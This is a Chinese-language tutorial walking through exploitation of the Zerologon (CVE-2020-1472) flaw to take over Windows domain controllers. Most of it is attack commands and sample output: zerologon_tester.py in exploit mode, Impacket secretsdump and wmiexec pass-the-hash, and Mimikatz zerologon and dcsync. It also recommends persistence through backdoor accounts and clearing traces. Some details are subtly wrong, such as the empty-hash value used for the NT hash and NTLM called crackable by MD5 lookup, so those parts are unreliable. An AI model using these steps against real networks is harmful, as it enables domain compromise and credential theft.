内网渗透 --- 利用Zerologon漏洞攻击域服务器
目录
深入解析 Zerologon 漏洞(CVE-2020-1472):原理、利用与内网渗透
1. Zerologon 漏洞概述
1.1 漏洞背景
1.2 漏洞原理
1.3 影响的版本
1.4 影响的环境
1.5 严重性
2. 利用与验证手法
2.1 利用手法
步骤
常用工具
2.2 验证手法
3. 内网中的 Zerologon 漏洞利用
3.1 内网利用场景
3.2 利用步骤
3.3 内网优势
4. 使用 Mimikatz 实现渗透与凭据获取
4.1 前提条件
4.2 操作步骤
4.3 结果
5. 漏洞的独立发现方法
5.1 发现步骤
5.2 所需技能
6. 内网中的漏洞发现与利用
6.1 发现步骤
6.2 利用步骤
6.3 注意事项
7. Zerologon 漏洞与内网渗透的作用
7.1 漏洞作用
7.2 内网渗透价值
总结性逻辑流程
防御建议
结语
我将围绕 Zerologon 漏洞(CVE-2020-1472)展开详细讲解,涵盖漏洞原理、影响范围、利用手法、验证方法、内网应用以及发现步骤。
1. Zerologon 漏洞概述
1.1 漏洞背景
- Zerologon 是微软 Netlogon 远程协议(MS-NRPC)中的一个高危漏洞,CVE 编号为 CVE-2020-1472,由 Secura 安全研究人员于 2020 年发现并披露。
- 该漏洞允许攻击者在无需认证的情况下,通过伪造身份与域控制器(Domain Controller, DC)通信,最终实现对整个 Active Directory(AD)环境的完全控制。
1.2 漏洞原理
-
核心缺陷:Netlogon 协议的加密认证机制存在设计漏洞。
-
使用 AES-CFB8 加密算法保护会话,但初始化向量(IV)被硬编码为全零(16 个字节的 0x00)。
-
协议允许客户端在特定条件下跳过认证,使用空挑战(Challenge)和空凭据(Credential)。
-
-
攻击手法:攻击者通过发送特定的 RPC 调用,将域控制器的计算机账户密码重置为已知值(通常为空密码),从而控制 DC。
1.3 影响的版本
-
受影响系统:
-
Windows Server 2008 R2(所有版本)
-
Windows Server 2012 / 2012 R2
-
Windows Server 2016
-
Windows Server 2019
-
Windows Server 2022(未打补丁的早期版本)
-
-
不受影响系统:
-
非域控制器(如普通工作站或成员服务器)
-
已应用 2020 年 8 月 11 日或之后安全更新(如 KB4565349)的系统
-
1.4 影响的环境
-
前提条件:
-
攻击者需与目标 DC 的 Netlogon 服务(端口 445 或 RPC 端口)建立网络连接。
-
无需任何初始凭据。
-
-
影响范围:
-
成功利用后,可控制整个 AD 环境,包括用户账户、计算机账户和权限。
-
在多域环境中,可通过域信任关系扩展攻击。
-
1.5 严重性
-
CVSS 分数:10.0(最高危)
-
后果:无需认证即可提权至域管理员级别。
2. 利用与验证手法
2.1 利用手法
攻击目标是将域控制器的计算机账户密码重置为空,并利用空密码接管 DC。
步骤
-
准备环境:
-
获取目标 DC 的 NetBIOS 名称(如
DC01
)和域名(如example.com
)。 -
确保与目标 DC 的网络可达性。
-
-
发送恶意 RPC 请求:
-
使用工具(如
zerologon_tester.py
)发送全零的ClientChallenge
和ClientCredential
,重复约 2000 次。 -
示例命令:
python3 zerologon_tester.py -target DC01 -ip 192.168.1.10 -exploit
-
-
利用空密码控制 DC:
-
使用空密码提取 NTLM 哈希或直接登录 DC。
-
示例命令(Impacket):
secretsdump.py -just-dc 'EXAMPLE/DC01$'@192.168.1.10 -hashes :aad3b435b51404eeaad3b435b51404ee
-
常用工具
-
zerologon_tester.py
:测试和利用漏洞。 -
Mimikatz:提取哈希或提权。
-
Impacket:后续操作(如
secretsdump.py
、wmiexec.py
)。
2.2 验证手法
确认漏洞是否利用成功的方法:
-
检查密码重置:
-
使用
secretsdump.py
检查 NTLM 哈希是否为空(aad3b435b51404eeaad3b435b51404ee
)。
-
-
尝试登录:
-
使用空密码通过 SMB 或 RDP 登录 DC。
-
-
日志检查:
-
查看 DC 的事件日志(Event ID 4742),确认密码更改。
-
3. 内网中的 Zerologon 漏洞利用
3.1 内网利用场景
在内网中,攻击者通常已获得初步立足点(如通过钓鱼邮件或弱密码),Zerologon 漏洞的无需凭据特性使其成为快速提权的利器。
3.2 利用步骤
-
定位域控制器:
-
使用
nmap
扫描:nmap -p445 192.168.1.0/24
-
-
确认漏洞:
-
测试是否存在漏洞:
python3 zerologon_tester.py -target DC01 -ip 192.168.1.10
-
-
执行攻击:
-
重置密码:
python3 zerologon_tester.py -target DC01 -ip 192.168.1.10 -exploit
-
-
提权与横向移动:
-
提取哈希:
secretsdump.py -just-dc 'EXAMPLE/DC01$'@192.168.1.10
-
使用哈希登录:
wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee EXAMPLE/admin@192.168.1.10
-
-
持久化:
-
修改 GPO 或创建后门账户。
-
3.3 内网优势
-
无需穿透防火墙,攻击成功率高。
-
可结合其他漏洞(如 EternalBlue)扩大影响。
4. 使用 Mimikatz 实现渗透与凭据获取
4.1 前提条件
-
已通过远程桌面将 Mimikatz 上传至内网机器(如 10.10.10.80)。
4.2 操作步骤
-
检测漏洞:
lsadump::zerologon /target:DC.delay.com /account:DC$
-
输出:
Target: DC.delay.com Account: DC$ Status: SUCCESS (Vulnerable to Zerologon)
-
-
重置密码:
lsadump::zerologon /target:DC.delay.com /account:DC$ /exploit
-
输出:
Target: DC.delay.com Account: DC$ Resetting password... SUCCESS
-
-
获取凭据:
lsadump::dcsync /domain:delay.com /dc:DC.delay.com /user:administrator /authuser:DC$ /authdomain:delay /authpassword:"" /authntlm
-
输出:
[DC] 'delay.com' will be the domain [DC] 'DC.delay.com' will be the DC server [DC] 'administrator' will be the user to sync ** SAM ACCOUNT ** NTLM Hash: 161cff084477fe596a5db81874498a24
- NTLM解码工具:md5在线解密破解,md5解密加密
-
-
恢复密码:
lsadump::postzerologon /target:de1ay.com /account:DC$
-
输出:
Target: delay.com Account: DC$ Restoring original password... SUCCESS
-
4.3 结果
-
获取域管理员 NTLM 哈希(
161cff084477fe596a5db81874498a24
),可用于后续攻击。 -
密码恢复避免 DC 脱域。
5. 漏洞的独立发现方法
5.1 发现步骤
-
协议分析:
-
使用 Wireshark 捕获 Netlogon 流量,分析认证流程。
-
-
加密缺陷识别:
-
检查 AES-CFB8 的 IV 是否为全零。
-
-
Fuzzing 测试:
-
发送全零挑战和凭据,观察 DC 响应。
-
-
验证假设:
-
确认是否能重置密码。
-
5.2 所需技能
-
网络协议分析(Wireshark、RPC)。
-
Windows AD 架构与加密知识。
-
漏洞研究经验(Fuzzing、逆向工程)。
6. 内网中的漏洞发现与利用
6.1 发现步骤
-
网络扫描:
nmap -p445 192.168.1.0/24
-
信息收集:
enum4linux -a 192.168.1.10
-
漏洞测试:
python3 zerologon_tester.py -target DC01 -ip 192.168.1.10
6.2 利用步骤
-
重置密码:
python3 zerologon_tester.py -target DC01 -ip 192.168.1.10 -exploit
-
提取凭据:
secretsdump.py -just-dc 'EXAMPLE/DC01$'@192.168.1.10
-
控制域:
wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee EXAMPLE/admin@192.168.1.10
-
清理痕迹:
net user DC01$ "OriginalPassword" /domain
6.3 注意事项
-
频繁 RPC 请求可能触发 IDS/IPS。
-
已打补丁的 DC(2020 年 8 月后)无法利用。
7. Zerologon 漏洞与内网渗透的作用
7.1 漏洞作用
-
Netlogon 功能:负责用户/机器认证、域数据库复制和关系维护。
-
漏洞效果:无需凭据重置 DC 密码,接管整个域。
7.2 内网渗透价值
-
初始突破:无需凭据即可攻击。
-
权限提升:直接获取域管理员权限。
-
横向移动:通过哈希或票据访问其他系统。
-
持久化:修改 GPO 或创建后门。
-
域接管:控制所有域资源。
总结性逻辑流程
-
漏洞检测:
-
使用工具(如 Mimikatz 或
zerologon_tester.py
)确认目标 DC 是否存在 Zerologon 漏洞。
-
-
密码重置:
-
通过漏洞将 DC 计算机账户密码置为空。
-
-
凭据提取:
-
使用 DCSync 或其他方法获取域管理员 NTLM 哈希。
-
-
权限利用:
-
通过 Pass-the-Hash 或登录控制域并横向移动。
-
-
痕迹清理:
-
恢复 DC 密码,避免脱域或被检测。
-
防御建议
-
及时应用 2020 年 8 月及后续补丁。
-
监控 Netlogon 异常流量。
-
限制 DC 的网络暴露。
结语
- Zerologon 漏洞因其无需认证即可接管域控制器的特性,成为内网渗透中的致命武器。
- 通过上述步骤,攻击者可快速定位、利用漏洞并控制域环境。